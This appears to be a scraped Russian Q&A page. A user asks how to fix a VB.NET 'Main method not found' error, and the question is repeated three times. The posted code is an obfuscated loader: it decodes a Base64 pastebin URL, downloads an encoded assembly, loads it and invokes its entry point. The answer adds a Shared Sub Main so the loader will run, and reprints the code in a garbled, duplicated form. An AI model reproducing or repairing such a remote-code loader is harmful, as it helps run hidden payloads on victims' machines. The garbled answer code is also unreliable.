Не найденно доступного метода Main VB.NET? Здравствуйте, подскажите опчему выходит ошибка.
Не найденно доступного метода "Main" с подходящей сигнатурой.
P\S в настройках проекта , убранна галочка "Включить исполняющую среду" и поставлено"Автоматически запускаемый обьект - Sub Main"
Код проектаPublic Class Form1
Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
Подскажите знающие как исправить это?
Не найденно доступного метода Main VB.NET? Здравствуйте, подскажите опчему выходит ошибка.
Не найденно доступного метода "Main" с подходящей сигнатурой.
P\S в настройках проекта , убранна галочка "Включить исполняющую среду" и поставлено"Автоматически запускаемый обьект - Sub Main"
Код проектаPublic Class Form1
Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
Подскажите знающие как исправить это?
Не найденно доступного метода "Main" с подходящей сигнатурой.
P\S в настройках проекта , убранна галочка "Включить исполняющую среду" и поставлено"Автоматически запускаемый обьект - Sub Main"
Код проектаPublic Class Form1
Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
Подскажите знающие как исправить это?
Не можешь разобраться в этой теме?
Обратись за помощью к экспертам
Гарантированные бесплатные доработки в течение 1 года
Быстрое выполнение от 2 часов
Проверка работы на плагиат
Поможем написать учебную работу
В языке программирования VB.NET в методе Main должен быть определен как Shared Sub, чтобы он мог быть точкой входа в приложение. В вашем коде не определен метод Main. Чтобы исправить это, добавьте следующий код:
Public Class Form1Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadStringFHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr")FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr")FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr")
Shared Sub Main Dim form As New Form1 form.ShowDialog End Sub
Private Sub Form1_LoadByValsenderAsSystem.Object,ByValeAsSystem.EventArgsByVal sender As System.Object, ByVal e As System.EventArgsByValsenderAsSystem.Object,ByValeAsSystem.EventArgs Handles MyBase.Load
Dim mr As Object = alfqaar2.LoadConvert.FromBase64String(alfqaar1)Convert.FromBase64String(alfqaar1)Convert.FromBase64String(alfqaar1) Dim mr1 As Object = CallByNamemr,FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="),CallType.Getmr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Getmr,FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="),CallType.Get DirectCastmr1,Reflection.MethodBasemr1, Reflection.MethodBasemr1,Reflection.MethodBase.Invoke"",Nothing"", Nothing"",Nothing End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiKByValKNvTqPvYXDJQMUZoqAsStringByVal KNvTqPvYXDJQMUZoq As StringByValKNvTqPvYXDJQMUZoqAsString Dim NpqkYisQdtlonBddK As Byte = Convert.FromBase64StringKNvTqPvYXDJQMUZoqKNvTqPvYXDJQMUZoqKNvTqPvYXDJQMUZoq Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetStringNpqkYisQdtlonBddKNpqkYisQdtlonBddKNpqkYisQdtlonBddK Return PTlDHFqJimPORfiSa
End Function
End Class
После добавления метода Main, программа должна запускаться без ошибок.